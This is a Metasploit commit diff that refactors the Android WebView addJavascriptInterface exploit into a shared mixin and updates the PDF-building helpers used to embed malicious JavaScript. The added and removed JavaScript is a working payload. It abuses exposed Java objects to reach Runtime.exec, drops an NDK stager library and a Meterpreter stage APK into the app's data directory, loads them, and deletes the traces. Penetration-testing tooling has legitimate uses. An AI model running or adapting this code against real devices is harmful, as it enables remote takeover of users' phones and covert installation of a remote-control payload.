Skip to content

Commit 9b43749

Browse files
committed
Land rapid7#3418 - android adobe reader addjisf pdf exploit
Merge branch 'landing-3418' into upstream-master
2 parents 2fe7593 + eddac55 commit 9b43749

File tree

5 files changed

+268
-110
lines changed

5 files changed

+268
-110
lines changed

lib/msf/core/exploit/android.rb

Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
# -*- coding: binary -*-
2+
require 'msf/core'
3+
4+
module Msf
5+
module Exploit::Android
6+
7+
# Since the NDK stager is used, arch detection must be performed
8+
SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ]
9+
10+
# Most android devices are ARM
11+
DEFAULT_ARCH = ARCH_ARMLE
12+
13+
# Some of the default NDK build targets are named differently than
14+
# msf's builtin constants. This mapping allows the ndkstager file
15+
# to be looked up from the msf constant.
16+
NDK_FILES = {
17+
ARCH_ARMLE => 'armeabi',
18+
ARCH_MIPSLE => 'mips'
19+
}
20+
21+
def add_javascript_interface_exploit_js(arch)
22+
stagename = Rex::Text.rand_text_alpha(5)
23+
script = %Q|
24+
function exec(runtime, cmdArr) {
25+
var ch = 0;
26+
var output = '';
27+
var process = runtime.exec(cmdArr);
28+
var input = process.getInputStream();
29+
30+
while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); }
31+
return output;
32+
}
33+
34+
function attemptExploit(obj) {
35+
// ensure that the object contains a native interface
36+
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
37+
38+
// get the pid
39+
var pid = obj.getClass()
40+
.forName('android.os.Process')
41+
.getMethod('myPid', null)
42+
.invoke(null, null);
43+
44+
// get the runtime so we can exec
45+
var runtime = obj.getClass()
46+
.forName('java.lang.Runtime')
47+
.getMethod('getRuntime', null)
48+
.invoke(null, null);
49+
50+
// libraryData contains the bytes for a native shared object built via NDK
51+
// which will load the "stage", which in this case is our android meterpreter stager.
52+
// LibraryData is loaded via ajax later, because we have to access javascript in
53+
// order to detect what arch we are running.
54+
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
55+
56+
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
57+
// another stager which loads android meterpreter from the msf handler.
58+
var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}";
59+
60+
// get the process name, which will give us our data path
61+
// $PPID does not seem to work on android 4.0, so we concat pids manually
62+
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
63+
64+
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
65+
var stagePath = path + '/#{stagename}.apk';
66+
67+
// build the library and chmod it
68+
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
69+
runtime.exec(['chmod', '700', libraryPath]).waitFor();
70+
71+
// build the stage, chmod it, and load it
72+
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
73+
runtime.exec(['chmod', '700', stagePath]).waitFor();
74+
75+
// load the library
76+
runtime.load(libraryPath);
77+
78+
// delete dropped files
79+
runtime.exec(['rm', stagePath]).waitFor();
80+
runtime.exec(['rm', libraryPath]).waitFor();
81+
82+
return true;
83+
}
84+
85+
for (i in top) { if (attemptExploit(top[i]) === true) break; }
86+
|
87+
88+
# remove comments and empty lines
89+
script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '')
90+
end
91+
92+
93+
# The NDK stager is used to launch a hidden APK
94+
def ndkstager(stagename, arch)
95+
localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so')
96+
data = File.read(localfile, :mode => 'rb')
97+
data.gsub!('PLOAD', stagename)
98+
end
99+
100+
end
101+
end

lib/msf/core/exploit/mixins.rb

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -92,7 +92,7 @@
9292
# WBEM
9393
require 'msf/core/exploit/wbemexec'
9494

95-
#WinRM
95+
# WinRM
9696
require 'msf/core/exploit/winrm'
9797

9898
# WebApp
@@ -102,4 +102,8 @@
102102
require 'msf/core/exploit/remote/firefox_privilege_escalation'
103103
require 'msf/core/exploit/remote/firefox_addon_generator'
104104

105+
# Android
106+
require 'msf/core/exploit/android'
107+
108+
# Browser Exploit Server
105109
require 'msf/core/exploit/remote/browser_exploit_server'

lib/msf/core/exploit/pdf.rb

Lines changed: 23 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ def initialize(info = {})
2222
)
2323

2424
# We're assuming we'll only create one pdf at a time here.
25-
@xref = []
25+
@xref = {}
2626
@pdf = ''
2727
end
2828

@@ -148,23 +148,18 @@ def nObfu(str)
148148
#PDF building block functions
149149
##
150150
def header(version = '1.5')
151-
hdr = "%PDF-1.5" << eol
151+
hdr = "%PDF-#{version}" << eol
152152
hdr << "%" << RandomNonASCIIString(4) << eol
153153
hdr
154154
end
155155

156156
def add_object(num, data)
157-
@xref << @pdf.length
157+
@xref[num] = @pdf.length
158158
@pdf << ioDef(num)
159159
@pdf << data
160160
@pdf << endobj
161161
end
162162

163-
def range_rand(min,max)
164-
until min < r=rand(max); end
165-
return r
166-
end
167-
168163
def finish_pdf
169164
@xref_offset = @pdf.length
170165
@pdf << xref_table
@@ -174,12 +169,19 @@ def finish_pdf
174169
end
175170

176171
def xref_table
172+
id = @xref.keys.max+1
177173
ret = "xref" << eol
178-
ret << "0 %d" % (@xref.length + 1) << eol
174+
ret << "0 %d" % id << eol
179175
ret << "0000000000 65535 f" << eol
180-
@xref.each do |index|
181-
ret << "%010d 00000 n" % index << eol
182-
end
176+
ret << (1..@xref.keys.max).map do |index|
177+
if @xref.has_key?(index)
178+
offset = @xref[index]
179+
"%010d 00000 n" % offset << eol
180+
else
181+
"0000000000 00000 f" << eol
182+
end
183+
end.join
184+
183185
ret
184186
end
185187

@@ -196,7 +198,11 @@ def startxref
196198
end
197199

198200
def eol
199-
"\x0d\x0a"
201+
@eol || "\x0d\x0a"
202+
end
203+
204+
def eol=(new_eol)
205+
@eol = new_eol
200206
end
201207

202208
def endobj
@@ -267,7 +273,7 @@ def SelectEncoder(js,strEncode,strFilter)
267273
#Create PDF with Page implant
268274
##
269275
def pdf_with_page_exploit(js,strFilter)
270-
@xref = []
276+
@xref = {}
271277
@pdf = ''
272278
273279
@pdf << header
@@ -290,7 +296,7 @@ def pdf_with_page_exploit(js,strFilter)
290296
# you try to merge the exploit PDF with an innocuous one
291297
##
292298
def pdf_with_openaction_js(js,strFilter)
293-
@xref = []
299+
@xref = {}
294300
@pdf = ''
295301
296302
@pdf << header
@@ -313,7 +319,7 @@ def pdf_with_openaction_js(js,strFilter)
313319
#Create PDF with a malicious annotation
314320
##
315321
def pdf_with_annot_js(js,strFilter)
316-
@xref = []
322+
@xref = {}
317323
@pdf = ''
318324
319325
@pdf << header
@@ -332,5 +338,6 @@ def pdf_with_annot_js(js,strFilter)
332338
333339
finish_pdf
334340
end
341+
335342
end
336343
end

modules/exploits/android/browser/webview_addjavascriptinterface.rb

Lines changed: 3 additions & 93 deletions
Original file line numberDiff line numberDiff line change
@@ -4,25 +4,13 @@
44
##
55

66
require 'msf/core'
7+
require 'msf/core/exploit/android'
78

89
class Metasploit3 < Msf::Exploit::Remote
910

1011
include Msf::Exploit::Remote::BrowserExploitServer
1112
include Msf::Exploit::Remote::BrowserAutopwn
12-
13-
# Since the NDK stager is used, arch detection must be performed
14-
SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ]
15-
16-
# Most android devices are ARM
17-
DEFAULT_ARCH = ARCH_ARMLE
18-
19-
# Some of the default NDK build targets are named differently than
20-
# msf's builtin constants. This mapping allows the ndkstager file
21-
# to be looked up from the msf constant.
22-
NDK_FILES = {
23-
ARCH_ARMLE => 'armeabi',
24-
ARCH_MIPSLE => 'mips'
25-
}
13+
include Msf::Exploit::Android
2614

2715
autopwn_info(
2816
:os_flavor => 'Android',
@@ -105,84 +93,6 @@ def on_request_exploit(cli, req, browser)
10593
send_response_html(cli, html(arch))
10694
end
10795

108-
# The NDK stager is used to launch a hidden APK
109-
def ndkstager(stagename, arch)
110-
localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so')
111-
data = File.read(localfile, :mode => 'rb')
112-
data.gsub!('PLOAD', stagename)
113-
end
114-
115-
def js(arch)
116-
stagename = Rex::Text.rand_text_alpha(5)
117-
script = %Q|
118-
function exec(runtime, cmdArr) {
119-
var ch = 0;
120-
var output = '';
121-
var process = runtime.exec(cmdArr);
122-
var input = process.getInputStream();
123-
124-
while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); }
125-
return output;
126-
}
127-
128-
function attemptExploit(obj) {
129-
// ensure that the object contains a native interface
130-
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
131-
132-
// get the pid
133-
var pid = obj.getClass()
134-
.forName('android.os.Process')
135-
.getMethod('myPid', null)
136-
.invoke(null, null);
137-
138-
// get the runtime so we can exec
139-
var runtime = obj.getClass()
140-
.forName('java.lang.Runtime')
141-
.getMethod('getRuntime', null)
142-
.invoke(null, null);
143-
144-
// libraryData contains the bytes for a native shared object built via NDK
145-
// which will load the "stage", which in this case is our android meterpreter stager.
146-
// LibraryData is loaded via ajax later, because we have to access javascript in
147-
// order to detect what arch we are running.
148-
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
149-
150-
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
151-
// another stager which loads android meterpreter from the msf handler.
152-
var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}";
153-
154-
// get the process name, which will give us our data path
155-
// $PPID does not seem to work on android 4.0, so we concat pids manually
156-
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
157-
158-
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
159-
var stagePath = path + '/#{stagename}.apk';
160-
161-
// build the library and chmod it
162-
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
163-
runtime.exec(['chmod', '700', libraryPath]).waitFor();
164-
165-
// build the stage, chmod it, and load it
166-
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
167-
runtime.exec(['chmod', '700', stagePath]).waitFor();
168-
169-
// load the library (this fails in x86, figure out why)
170-
runtime.load(libraryPath);
171-
172-
// delete dropped files
173-
runtime.exec(['rm', stagePath]).waitFor();
174-
runtime.exec(['rm', libraryPath]).waitFor();
175-
176-
return true;
177-
}
178-
179-
for (i in top) { if (attemptExploit(top[i]) === true) break; }
180-
|
181-
182-
# remove comments and empty lines
183-
script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '')
184-
end
185-
18696
# Called when a client requests a .js route.
18797
# This is handy for post-XSS.
18898
def serve_static_js(cli, req)
@@ -191,7 +101,7 @@ def serve_static_js(cli, req)
191101

192102
if arch.present?
193103
print_status("Serving javascript for arch #{normalize_arch arch}")
194-
send_response(cli, js(normalize_arch arch), response_opts)
104+
send_response(cli, add_javascript_interface_exploit_js(normalize_arch arch), response_opts)
195105
else
196106
print_status("Serving arch detection javascript")
197107
send_response(cli, static_arch_detect_js, response_opts)

0 commit comments

Comments
 (0)